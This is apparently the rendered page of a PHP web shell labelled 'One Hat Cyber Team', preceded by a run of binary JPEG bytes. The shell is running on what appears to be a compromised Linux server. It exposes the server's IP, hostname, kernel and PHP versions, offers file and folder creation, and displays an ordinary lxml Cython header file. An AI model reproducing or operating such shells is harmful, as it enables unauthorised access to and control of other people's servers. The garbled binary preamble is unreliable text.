����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.134.111.219
Server IP :
139.177.197.176
Server :
Linux host.afriservers.rw 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.4.32
Buat File
|
Buat Folder
Dir :
~
/
usr
/
lib64
/
python2.7
/
site-packages
/
lxml
/
includes
/
View File Name :
etreepublic.pxd
# public Cython/C interface to lxml.etree from lxml.includes cimport tree from lxml.includes.tree cimport const_xmlChar cdef extern from "lxml-version.h": cdef char* LXML_VERSION_STRING cdef extern from "etree_defs.h": # test if c_node is considered an Element (i.e. Element, Comment, etc.) cdef bint _isElement(tree.xmlNode* c_node) nogil # return the namespace URI of the node or NULL cdef const_xmlChar* _getNs(tree.xmlNode* node) nogil # pair of macros for tree traversal cdef void BEGIN_FOR_EACH_ELEMENT_FROM(tree.xmlNode* tree_top, tree.xmlNode* start_node, int start_node_inclusive) nogil cdef void END_FOR_EACH_ELEMENT_FROM(tree.xmlNode* start_node) nogil cdef extern from "lxml.etree_api.h": # first function to call! cdef int import_lxml__etree() except -1 ########################################################################## # public ElementTree API classes cdef class lxml.etree._Document [ object LxmlDocument ]: cdef tree.xmlDoc* _c_doc cdef class lxml.etree._Element [ object LxmlElement ]: cdef _Document _doc cdef tree.xmlNode* _c_node cdef class lxml.etree.ElementBase(_Element) [ object LxmlElementBase ]: pass cdef class lxml.etree._ElementTree [ object LxmlElementTree ]: cdef _Document _doc cdef _Element _context_node cdef class lxml.etree.ElementClassLookup [ object LxmlElementClassLookup ]: cdef object (*_lookup_function)(object, _Document, tree.xmlNode*) cdef class lxml.etree.FallbackElementClassLookup(ElementClassLookup) \ [ object LxmlFallbackElementClassLookup ]: cdef ElementClassLookup fallback cdef object (*_fallback_function)(object, _Document, tree.xmlNode*) ########################################################################## # creating Element objects # create an Element for a C-node in the Document cdef _Element elementFactory(_Document doc, tree.xmlNode* c_node) # create an ElementTree for an Element cdef _ElementTree elementTreeFactory(_Element context_node) # create an ElementTree subclass for an Element cdef _ElementTree newElementTree(_Element context_node, object subclass) # create a new Element for an existing or new document (doc = None) # builds Python object after setting text, tail, namespaces and attributes cdef _Element makeElement(tag, _Document doc, parser, text, tail, attrib, nsmap) # create a new SubElement for an existing parent # builds Python object after setting text, tail, namespaces and attributes cdef _Element makeSubElement(_Element parent, tag, text, tail, attrib, nsmap) # deep copy a node to include it in the Document cdef _Element deepcopyNodeToDocument(_Document doc, tree.xmlNode* c_root) # set the internal lookup function for Element/Comment/PI classes # use setElementClassLookupFunction(NULL, None) to reset it # note that the lookup function *must always* return an _Element subclass! cdef void setElementClassLookupFunction( object (*function)(object, _Document, tree.xmlNode*), object state) # lookup function that always returns the default Element class # note that the first argument is expected to be None! cdef object lookupDefaultElementClass(_1, _Document _2, tree.xmlNode* c_node) # lookup function for namespace/tag specific Element classes # note that the first argument is expected to be None! cdef object lookupNamespaceElementClass(_1, _Document _2, tree.xmlNode* c_node) # call the fallback lookup function of a FallbackElementClassLookup cdef object callLookupFallback(FallbackElementClassLookup lookup, _Document doc, tree.xmlNode* c_node) ########################################################################## # XML attribute access # return an attribute value for a C attribute on a C element node cdef object attributeValue(tree.xmlNode* c_element, tree.xmlAttr* c_attrib_node) # return the value of the attribute with 'ns' and 'name' (or None) cdef object attributeValueFromNsName(tree.xmlNode* c_element, const_xmlChar* c_ns, const_xmlChar* c_name) # return the value of attribute "{ns}name", or the default value cdef object getAttributeValue(_Element element, key, default) # return an iterator over attribute names (1), values (2) or items (3) # attributes must not be removed during iteration! cdef object iterattributes(_Element element, int keysvalues) # return the list of all attribute names (1), values (2) or items (3) cdef list collectAttributes(tree.xmlNode* c_element, int keysvalues) # set an attribute value on an element # on failure, sets an exception and returns -1 cdef int setAttributeValue(_Element element, key, value) except -1 # delete an attribute # on failure, sets an exception and returns -1 cdef int delAttribute(_Element element, key) except -1 # delete an attribute based on name and namespace URI # returns -1 if the attribute was not found (no exception) cdef int delAttributeFromNsName(tree.xmlNode* c_element, const_xmlChar* c_href, const_xmlChar* c_name) ########################################################################## # XML node helper functions # check if the element has at least one child cdef bint hasChild(tree.xmlNode* c_node) nogil # find child element number 'index' (supports negative indexes) cdef tree.xmlNode* findChild(tree.xmlNode* c_node, Py_ssize_t index) nogil # find child element number 'index' starting at first one cdef tree.xmlNode* findChildForwards(tree.xmlNode* c_node, Py_ssize_t index) nogil # find child element number 'index' starting at last one cdef tree.xmlNode* findChildBackwards(tree.xmlNode* c_node, Py_ssize_t index) nogil # return next/previous sibling element of the node cdef tree.xmlNode* nextElement(tree.xmlNode* c_node) nogil cdef tree.xmlNode* previousElement(tree.xmlNode* c_node) nogil ########################################################################## # iterators (deprecated API, don't use in new code) cdef class lxml.etree._ElementTagMatcher [ object LxmlElementTagMatcher ]: cdef char* _href cdef char* _name # store "{ns}tag" (or None) filter for this matcher or element iterator # ** unless _href *and* _name are set up 'by hand', this function *must* # ** be called when subclassing the iterator below! cdef void initTagMatch(_ElementTagMatcher matcher, tag) cdef class lxml.etree._ElementIterator(_ElementTagMatcher) [ object LxmlElementIterator ]: cdef _Element _node cdef tree.xmlNode* (*_next_element)(tree.xmlNode*) # store the initial node of the iterator if it matches the required tag # or its next matching sibling if not cdef void iteratorStoreNext(_ElementIterator iterator, _Element node) ########################################################################## # other helper functions # check if a C node matches a tag name and namespace # (NULL allowed for each => always matches) cdef int tagMatches(tree.xmlNode* c_node, const_xmlChar* c_href, const_xmlChar* c_name) # convert a UTF-8 char* to a Python string or unicode string cdef object pyunicode(const_xmlChar* s) # convert the string to UTF-8 using the normal lxml.etree semantics cdef bytes utf8(object s) # split a tag into a (URI, name) tuple, return None as URI for '{}tag' cdef tuple getNsTag(object tag) # split a tag into a (URI, name) tuple, return b'' as URI for '{}tag' cdef tuple getNsTagWithEmptyNs(object tag) # get the "{ns}tag" string for a C node cdef object namespacedName(tree.xmlNode* c_node) # get the "{ns}tag" string for a href/tagname pair (c_ns may be NULL) cdef object namespacedNameFromNsName(const_xmlChar* c_ns, const_xmlChar* c_tag) # check if the node has a text value (which may be '') cdef bint hasText(tree.xmlNode* c_node) nogil # check if the node has a tail value (which may be '') cdef bint hasTail(tree.xmlNode* c_node) nogil # get the text content of an element (or None) cdef object textOf(tree.xmlNode* c_node) # get the tail content of an element (or None) cdef object tailOf(tree.xmlNode* c_node) # set the text value of an element cdef int setNodeText(tree.xmlNode* c_node, text) except -1 # set the tail text value of an element cdef int setTailText(tree.xmlNode* c_node, text) except -1 # append an element to the children of a parent element cdef void appendChild(_Element parent, _Element child) # recursively lookup a namespace in element or ancestors, or create it cdef tree.xmlNs* findOrBuildNodeNsPrefix( _Document doc, tree.xmlNode* c_node, const_xmlChar* href, const_xmlChar* prefix) # find the Document of an Element, ElementTree or Document (itself!) cdef _Document documentOrRaise(object input) # find the root Element of an Element (itself!), ElementTree or Document cdef _Element rootNodeOrRaise(object input)